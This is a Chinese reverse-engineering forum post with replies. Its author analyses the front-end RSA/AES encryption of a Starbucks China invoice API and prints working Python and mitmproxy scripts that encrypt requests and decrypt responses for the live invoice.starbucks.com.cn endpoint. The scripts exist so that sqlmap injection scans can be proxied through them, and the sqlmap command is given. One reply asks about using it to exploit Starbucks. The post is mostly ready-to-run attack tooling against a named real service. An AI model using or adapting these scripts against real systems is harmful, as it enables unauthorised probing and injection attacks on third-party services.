吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 3241|回复: 24
收起左侧

[Web逆向] 逆向分析星巴克前端加密逻辑,使用mitm自动改包

  [复制链接]
p0ss 发表于 2023-11-14 11:00
本帖最后由 p0ss 于 2023-11-14 16:19 编辑

分析加密逻辑
在绕过前端无限debugger后,接下来开始分析数据包的加密逻辑,请求和响应中都有data和key,肉眼可见这是加密了。
image1.png

在xhr请求中下断点,在p.send处看到数据已经加密
p.send.png
进入这个函数,看后续的逻辑,主要是解密逻辑,解密函数de:
de.png
进入a(n),查看具体的实现:
an.png
e.setPrivateKey(r),r是rsa的私钥,获取到私钥后开始对response body中的key进行解密
key.png
e是加密前的key,r是解密后值,从r中截取3-19字符串作为aes算法的key,从r中截取23-39作为iv,对response body中的data进行解密。
利用类似的方法,可以获取加密逻辑:
enc_func.png
s为random(16bit)的随机字符,拼接后为48bit,b.en是rsa加密算法,使用公钥进行加密,y.en是aes加密,s[7-23]是key,s[28-44]是iv变量。

附上相应加解密的代码:
[Python] 纯文本查看 复制代码
from Crypto.PublicKey import RSA
from Crypto.Cipher import AES
from Crypto.Cipher import PKCS1_v1_5
from Crypto.Util.Padding import pad
import base64
import requests
import os
import json

requests.packages.urllib3.disable_warnings()
os.environ['HTTPS_PROXY'] = 'http://127.0.0.1:8080'

req_rsa_keyiv="9C3867DCB3D107E57CBB995BA4238A0EAAC2EB9D6363A6B3"

headers={"Content-Type":"application/json;charset=UTF-8","sec-ch-ua":"\".Not/A)Brand\";v=\"99\", \"Google Chrome\";v=\"103\", \"Chromium\";v=\"103\"","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36","level":"1"}

def send_request(request_url,aes_str_repeat):
    #rsa key encryption by publicKey
    key = open("publicKey.txt").read()
    pubkey = RSA.importKey(key)
    pk = PKCS1_v1_5.new(pubkey)
    encrypt_text = pk.encrypt(req_rsa_keyiv.encode())
#    print("encrypt_text: %s" %encrypt_text)
    enc_key = base64.b64encode(encrypt_text).decode("utf-8")
    print("----http post----\nrequest_enc_key: %s" %enc_key)

    ##aes encryption
    aes_key=req_rsa_keyiv[7:23]
    aes_iv=req_rsa_keyiv[28:44]
    aes = AES.new(aes_key.encode("utf-8"), AES.MODE_CBC, aes_iv.encode("utf-8"))
    pad_pkcs7 = pad(aes_str_repeat.encode("utf-8"), AES.block_size, style='pkcs7')
    encrypt_aes = aes.encrypt(pad_pkcs7)

    encrypted_text = str(base64.encodebytes(encrypt_aes), encoding="utf-8")
    encrypted_text_data = encrypted_text.replace("\n", "")

    post_body='{"key":"'+enc_key+'","data":"'+str(encrypted_text_data)+'"}'
    print("request_post_body:%s \n-----http post end--------" %post_body)

    res=requests.post(url=request_url,headers=headers,data=post_body,verify=False)
    return res


def decrypt_response(response):
    if response.status_code==200:
        res_data= json.loads(response.text)
        rsa_key=res_data["key"]
        ##rsa key decryption by privateKey
        privateKey = open("privateKey.txt").read()
        enc_result = base64.b64decode(rsa_key)
        rsakey = RSA.importKey(privateKey)
        cipher = PKCS1_v1_5.new(rsakey)
        rsakey_decrypted = cipher.decrypt(enc_result, 'DecryptError').decode('utf-8')

        ##aes decryption
        response_aes_key=rsakey_decrypted[3:19]
        response_aes_iv=rsakey_decrypted[23:39]

        print("--------http response-----\nresponse_aes_key:%s" %response_aes_key)
        print("response_aes_iv:%s" %response_aes_iv)
        print("response data:%s" %res_data["data"])
        encrypt_text=base64.b64decode(res_data["data"])
        cipher=AES.new(key=response_aes_key.encode(),mode=AES.MODE_CBC,IV=response_aes_iv.encode())

        decrypt_text=cipher.decrypt(encrypt_text).decode("utf-8")
        pad_size = ord(decrypt_text[-1])
        decrypt_text = decrypt_text[:-pad_size]

        print("decrypt_text:%s\n--------http response end------" %decrypt_text)
    else:
        print("decryption response:Server Error!")


if __name__=="__main__":
    getMaintain_request_url="https://invoice.starbucks.com.cn/efapiao/c/maintain/get"
    for i in range(100,105):
        aes_str_repeat = '{}'
        response = send_request(getMaintain_request_url,aes_str_repeat)
        decrypt_response(response)




做完解密后,后续如果要使用类似sqlmap做自动安全检测,借助mitmproxy就可以实现。大致的思路是通过设置mitmproxy代{过}{滤}理,将sqlmap的原始请求发送到mitmproxy,mitmproxy对请求body进行操
作(计算key、data),并进行请求体封装,服务器响应后,对响应数据包进行解析,以明文形式回显到burp中。
编写mitmproxy脚本:starbucks_mitm.py
获取原始http请求body,调用enc进行body加密操作
[Python] 纯文本查看 复制代码
def enc(req_rsa_keyiv,data):

    #key encryption
    key = open("publicKey.txt").read()
    pubkey = RSA.importKey(key)
    cipher = PKCS1_v1_5.new(pubkey)
    encrypt_text=cipher.encrypt(req_rsa_keyiv.encode())
    enc_key = base64.b64encode(encrypt_text).decode("utf-8")
    print("enc_key:{}".format(enc_key))

    #data encryption
    aes_key=req_rsa_keyiv[7:23]
    aes_iv=req_rsa_keyiv[28:44]
    aes = AES.new(aes_key.encode("utf-8"), AES.MODE_CBC, aes_iv.encode("utf-8"))
    pad_pkcs7 = pad(data.encode("utf-8"), AES.block_size, style='pkcs7')
    encrypt_aes = aes.encrypt(pad_pkcs7)

    encrypted_text = str(base64.encodebytes(encrypt_aes), encoding="utf-8")
    encrypted_text_data = encrypted_text.replace("\n", "")

    return str(enc_key),str(encrypted_text_data)

class FilterFlow:
    def request(self, flow):
        if flow.request.url.startswith("https://invoice.starbucks.com.cn/e"):
            #print("req原始数据包: {}".format(flow.request.get_text()))
            req_data_temp = json.loads(flow.request.get_text())
            if "key" in req_data_temp:
                print("key in request!")
                return
            req_data=req_data_temp["data"]
            enc_key,enc_data = enc(req_rsa_keyiv,req_data)
            enc_json_data={"key":enc_key,"data":enc_data}
            result = json.dumps(enc_json_data)
            print("req加密数据后:{}".format(result))
            flow.request.set_text(result)



获取响应数据并进行解密,明文呈现:
[Python] 纯文本查看 复制代码
def dec(key,data):
    privateKey = open("privateKey.txt").read()
    enc_result = base64.b64decode(key)
    rsakey = RSA.importKey(privateKey)
    cipher = PKCS1_v1_5.new(rsakey)
    rsakey_decrypted = cipher.decrypt(enc_result, 'DecryptError').decode('utf-8')

    response_aes_key = rsakey_decrypted[3:19]
    response_aes_iv = rsakey_decrypted[23:39]

    encrypt_text = base64.b64decode(data)
    cipher = AES.new(key=response_aes_key.encode(), mode=AES.MODE_CBC, IV=response_aes_iv.encode())

    decrypt_text = cipher.decrypt(encrypt_text).decode("utf-8")
    pad_size = ord(decrypt_text[-1])
    decrypt_text = decrypt_text[:-pad_size]

    result={"key":rsakey_decrypted,"data":decrypt_text}
    #result = {"data": decrypt_text}
    #print("dec result"+str(result))
    return result

    def response(self, flow:HTTPFlow):
        if flow.request.url.startswith("https://invoice.starbucks.com.cn/e"):
            print("res原始数据包: {}".format(flow.response.get_text()))
            resp=flow.response.get_text()
            data=json.loads(resp)
            key=data["key"]
            data=data["data"]
            result=dec(key,data)
            flow.response.set_text(json.dumps(result))



准备好后,接下来需要运行starbucks_mitm.py,将会在本地新增9000监听端口
[Bash shell] 纯文本查看 复制代码
mitmdump -p 9090 -s .\starbucks_mitm.py --ssl-insecure


设置burp的upstream代{过}{滤}理
image.png

接下来在burp中正常发送明文数据就可以了:
image.png

在调试界面可以看到,实际发送给服务器的数据是下面这个样子:
image.png

相应的,把这个数据包保存起来,通过以下方式就可以把sqlmap的扫描流量导入过来:
[Bash shell] 纯文本查看 复制代码
python sqlmap.py -r 11.txt --batch --proxy=http://127.0.0.1:8080

效果图如下:
image.png


资料参考:https://www.freebuf.com/articles/web/360596.html
辅助工具:https://the-x.cn/cryptography/Aes.aspx

免费评分

参与人数 7威望 +1 吾爱币 +26 热心值 +7 收起 理由
涛之雨 + 1 + 20 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
Wyiyun777 + 1 + 1 我很赞同!
poppywu + 1 + 1 我很赞同!
muzzy + 1 + 1 谢谢@Thanks!
snakey2k + 1 + 1 用心讨论,共获提升!
lxghost2 + 1 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!
BonnieRan + 1 + 1 谢谢@Thanks!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

MonkeyLee 发表于 2023-11-15 18:43
前端js混淆、加密处理起来也许会稍微麻烦一些,后端这种基础的注入都没有做防护,该打板子
lookfeiji 发表于 2023-11-14 16:50
deep1ndreams 发表于 2023-11-14 19:03
lay1L 发表于 2023-11-14 23:40
学习了,感谢。
Sanyoku 发表于 2023-11-15 00:48
学习了,感谢分享。
aAChengYay 发表于 2023-11-15 09:16
干货,感谢分享!
sakura485586 发表于 2023-11-15 11:01
感谢分享!
fuvenusck 发表于 2023-11-15 11:24
这个看着挺实用的,可以薅星巴克的羊毛吗
2xasqw 发表于 2023-11-15 11:35
感谢分享,很强大
索马里的海贼 发表于 2023-11-15 15:45
接下来可以干什么呢
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-14 23:08

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表